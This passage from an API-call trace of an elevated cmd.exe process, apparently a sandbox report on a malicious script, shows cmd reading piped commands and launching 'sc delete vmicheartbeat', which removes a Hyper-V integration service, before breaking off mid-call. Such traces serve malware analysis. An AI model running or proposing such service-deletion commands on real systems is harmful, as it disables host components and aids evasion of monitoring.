lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.049] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e344, cchWideChar=1 | out: lpWideCharStr="town\nrface\n") returned 1 [0063.049] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.049] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.049] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.049] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e346, cchWideChar=1 | out: lpWideCharStr="bwn\nrface\n") returned 1 [0063.049] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.049] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.049] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.049] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e348, cchWideChar=1 | out: lpWideCharStr="en\nrface\n") returned 1 [0063.050] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.050] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.050] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.050] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34a, cchWideChar=1 | out: lpWideCharStr="a\nrface\n") returned 1 [0063.050] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.050] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.050] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.050] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34c, cchWideChar=1 | out: lpWideCharStr="trface\n") returned 1 [0063.050] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.050] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.050] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.050] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34e, cchWideChar=1 | out: lpWideCharStr="\nface\n") returned 1 [0063.050] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.050] GetFileType (hFile=0xb8) returned 0x3 [0063.050] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.050] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.050] _get_osfhandle (_FileHandle=1) returned 0x120 [0063.050] GetFileType (hFile=0x120) returned 0x3 [0063.050] _get_osfhandle (_FileHandle=1) returned 0x120 [0063.050] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete vmicheartbeat\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete vmicheartbeat\n", lpUsedDefaultChar=0x0) returned 25 [0063.050] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x14f578, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f578*=0x18, lpOverlapped=0x0) returned 1 [0063.050] GetProcessHeap () returned 0x1b0000 [0063.050] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1cfb10 [0063.050] GetProcessHeap () returned 0x1b0000 [0063.050] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cfb10 | out: hHeap=0x1b0000) returned 1 [0063.050] GetProcessHeap () returned 0x1b0000 [0063.050] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1c97e0 [0063.051] GetProcessHeap () returned 0x1b0000 [0063.051] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x16) returned 0x1c8900 [0063.051] GetProcessHeap () returned 0x1b0000 [0063.051] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x3c) returned 0x1caa40 [0063.051] GetConsoleOutputCP () returned 0x1b5 [0063.051] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0063.051] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0063.051] GetConsoleTitleW (in: lpConsoleTitle=0x14f530, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0063.052] GetProcessHeap () returned 0x1b0000 [0063.052] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1c9910 [0063.052] GetProcessHeap () returned 0x1b0000 [0063.052] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x42) returned 0x1caa90 [0063.052] GetProcessHeap () returned 0x1b0000 [0063.052] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x420) returned 0x1cba10 [0063.052] SetErrorMode (uMode=0x0) returned 0x1 [0063.052] SetErrorMode (uMode=0x1) returned 0x0 [0063.052] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1cba20, lpFilePart=0x14edc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14edc0*="Desktop") returned 0x25 [0063.052] SetErrorMode (uMode=0x1) returned 0x1 [0063.052] GetProcessHeap () returned 0x1b0000 [0063.052] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cba10, Size=0x62) returned 0x1cba10 [0063.052] GetProcessHeap () returned 0x1b0000 [0063.052] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cba10) returned 0x62 [0063.052] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0063.052] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0063.052] GetProcessHeap () returned 0x1b0000 [0063.052] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x128) returned 0x1c9db0 [0063.052] GetProcessHeap () returned 0x1b0000 [0063.052] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x240) returned 0x1b1ab0 [0063.052] GetProcessHeap () returned 0x1b0000 [0063.052] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1b1ab0, Size=0x12a) returned 0x1b1ab0 [0063.052] GetProcessHeap () returned 0x1b0000 [0063.052] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1b1ab0) returned 0x12a [0063.052] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0063.052] GetProcessHeap () returned 0x1b0000 [0063.052] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe8) returned 0x1c9b30 [0063.053] GetProcessHeap () returned 0x1b0000 [0063.053] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9b30, Size=0x7e) returned 0x1c9b30 [0063.053] GetProcessHeap () returned 0x1b0000 [0063.053] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9b30) returned 0x7e [0063.053] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0063.053] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0063.053] GetLastError () returned 0x2 [0063.053] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0063.053] GetLastError () returned 0x2 [0063.053] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0063.053] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0063.053] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0063.053] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0063.054] GetLastError () returned 0x2 [0063.054] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0063.054] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0063.054] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0063.054] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0063.054] GetConsoleTitleW (in: lpConsoleTitle=0x14f080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0063.054] GetProcessHeap () returned 0x1b0000 [0063.054] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1cba90 [0063.054] GetConsoleTitleW (in: lpConsoleTitle=0x1cbaa0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0063.054] GetProcessHeap () returned 0x1b0000 [0063.054] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cba90, Size=0xa8) returned 0x1cba90 [0063.054] GetProcessHeap () returned 0x1b0000 [0063.054] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cba90) returned 0xa8 [0063.054] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete vmicheartbeat") returned 1 [0063.055] GetProcessHeap () returned 0x1b0000 [0063.055] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba90 | out: hHeap=0x1b0000) returned 1 [0063.055] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14edf8 | out: lpAttributeList=0x14ee38, lpSize=0x14edf8) returned 1 [0063.055] UpdateProcThreadAttribute (in: lpAttributeList=0x14ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ee38, lpPreviousValue=0x0) returned 1 [0063.055] GetStartupInfoW (in: lpStartupInfo=0x14ef50 | out: lpStartupInfo=0x14ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0063.055] GetProcessHeap () returned 0x1b0000 [0063.055] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x20) returned 0x1c4610 [0063.055] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0063.055] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0063.055] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0063.055] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0063.055] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0063.055] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0063.055] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0063.055] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0063.055] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0063.055] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0063.055] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0063.055] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0063.055] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0063.055] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0063.055] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0063.055] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0063.055] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0063.055] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0063.055] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0063.055] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0063.055] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0063.056] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0063.056] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0063.056] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0063.056] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0063.056] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0063.056] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0063.056] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0063.056] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0063.056] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0063.056] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0063.056] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0063.056] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0063.056] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0063.056] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0063.056] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0063.056] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0063.056] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0063.056] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0063.056] GetProcessHeap () returned 0x1b0000 [0063.056] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4610 | out: hHeap=0x1b0000) returned 1 [0063.056] GetProcessHeap () returned 0x1b0000 [0063.056] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1c98a0 [0063.056] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete vmicheartbeat", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete vmicheartbeat", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14ee20 | out: lpCommandLine="sc delete vmicheartbeat", lpProcessInformation=0x14ee20*(hProcess=0x50, hThread=0x54, dwProcessId=0x304, dwThreadId=0x6dc)) returned 1 [0063.060] CloseHandle (hObject=0x54) returned 1 [0063.060] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0063.060] GetProcessHeap () returned 0x1b0000 [0063.060] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c8980 | out: hHeap=0x1b0000) returned 1 [0063.060] GetEnvironmentStringsW () returned 0x1c8980* [0063.060] GetProcessHeap () returned 0x1b0000 [0063.060] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba90 [0063.060] FreeEnvironmentStringsW (penv=0x1c8980) returned 1 [0063.060] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x14e728, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e728, ReturnLength=0x0) returned 0x0 [0063.060] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffdd000, lpBuffer=0x14e760, nSize=0x380, lpNumberOfBytesRead=0x14e720 | out: lpBuffer=0x14e760*, lpNumberOfBytesRead=0x14e720*=0x380) returned 1 [0063.061] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0063.337] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x14ed68 | out: lpExitCode=0x14ed68*=0x424) returned 1 [0063.337] CloseHandle (hObject=0x50) returned 1 [0063.337] _vsnwprintf (in: _Buffer=0x14efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ed78 | out: _Buffer="00000424") returned 8 [0063.337] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0063.337] GetProcessHeap () returned 0x1b0000 [0063.338] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba90 | out: hHeap=0x1b0000) returned 1 [0063.338] GetEnvironmentStringsW () returned 0x1c8980* [0063.338] GetProcessHeap () returned 0x1b0000 [0063.338] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba90 [0063.338] FreeEnvironmentStringsW (penv=0x1c8980) returned 1 [0063.338] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0063.338] GetProcessHeap () returned 0x1b0000 [0063.338] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba90 | out: hHeap=0x1b0000) returned 1 [0063.338] GetEnvironmentStringsW () returned 0x1c8980* [0063.338] GetProcessHeap () returned 0x1b0000 [0063.338] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba90 [0063.338] FreeEnvironmentStringsW (penv=0x1c8980) returned 1 [0063.338] GetProcessHeap () returned 0x1b0000 [0063.338] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c98a0 | out: hHeap=0x1b0000) returned 1 [0063.338] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ee38 | out: lpAttributeList=0x14ee38) [0063.338] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0063.339] _get_osfhandle (_FileHandle=1) returned 0x120 [0063.339] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0063.339] _get_osfhandle (_FileHandle=1) returned 0x120 [0063.339] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a82e194 | out: lpMode=0x4a82e194) returned 0 [0063.339] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.339] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a82e198 | out: lpMode=0x4a82e198) returned 0 [0063.339] GetConsoleOutputCP () returned 0x1b5 [0063.340] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0063.340] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0063.340] GetProcessHeap () returned 0x1b0000 [0063.340] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9b30 | out: hHeap=0x1b0000) returned 1 [0063.340] GetProcessHeap () returned 0x1b0000 [0063.340] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 1 [0063.340] GetProcessHeap () returned 0x1b0000 [0063.340] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9db0 | out: hHeap=0x1b0000) returned 1 [0063.340] GetProcessHeap () returned 0x1b0000 [0063.340] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0063.340] GetProcessHeap () returned 0x1b0000 [0063.340] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1caa90 | out: hHeap=0x1b0000) returned 1 [0063.340] GetProcessHeap () returned 0x1b0000 [0063.340] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9910 | out: hHeap=0x1b0000) returned 1 [0063.340] GetProcessHeap () returned 0x1b0000 [0063.340] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1caa40 | out: hHeap=0x1b0000) returned 1 [0063.340] GetProcessHeap () returned 0x1b0000 [0063.340] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c8900 | out: hHeap=0x1b0000) returned 1 [0063.340] GetProcessHeap () returned 0x1b0000 [0063.340] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c97e0 | out: hHeap=0x1b0000) returned 1 [0063.341] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f298 | out: _Buffer="\r\n") returned 2 [0063.341] _get_osfhandle (_FileHandle=1) returned 0x120 [0063.341] GetFileType (hFile=0x120) returned 0x3 [0063.341] _get_osfhandle (_FileHandle=1) returned 0x120 [0063.341] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0063.341] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f268, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f268*=0x2, lpOverlapped=0x0) returned 1 [0063.341] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0063.341] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0063.341] _vsnwprintf (in: _Buffer=0x4a82eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f2a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0063.341] _vsnwprintf (in: _Buffer=0x4a82ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f2a8 | out: _Buffer=">") returned 1 [0063.341] _get_osfhandle (_FileHandle=1) returned 0x120 [0063.341] GetFileType (hFile=0x120) returned 0x3 [0063.341] _get_osfhandle (_FileHandle=1) returned 0x120 [0063.342] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0063.342] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f298, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f298*=0x26, lpOverlapped=0x0) returned 1 [0063.342] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.342] GetFileType (hFile=0xb8) returned 0x3 [0063.342] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.342] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.342] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.342] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e320, cchWideChar=1 | out: lpWideCharStr="sc delete vmicheartbeat\nface\n") returned 1 [0063.342] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.342] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.342] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.342] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e322, cchWideChar=1 | out: lpWideCharStr="c delete vmicheartbeat\nface\n") returned 1 [0063.342] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.342] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: 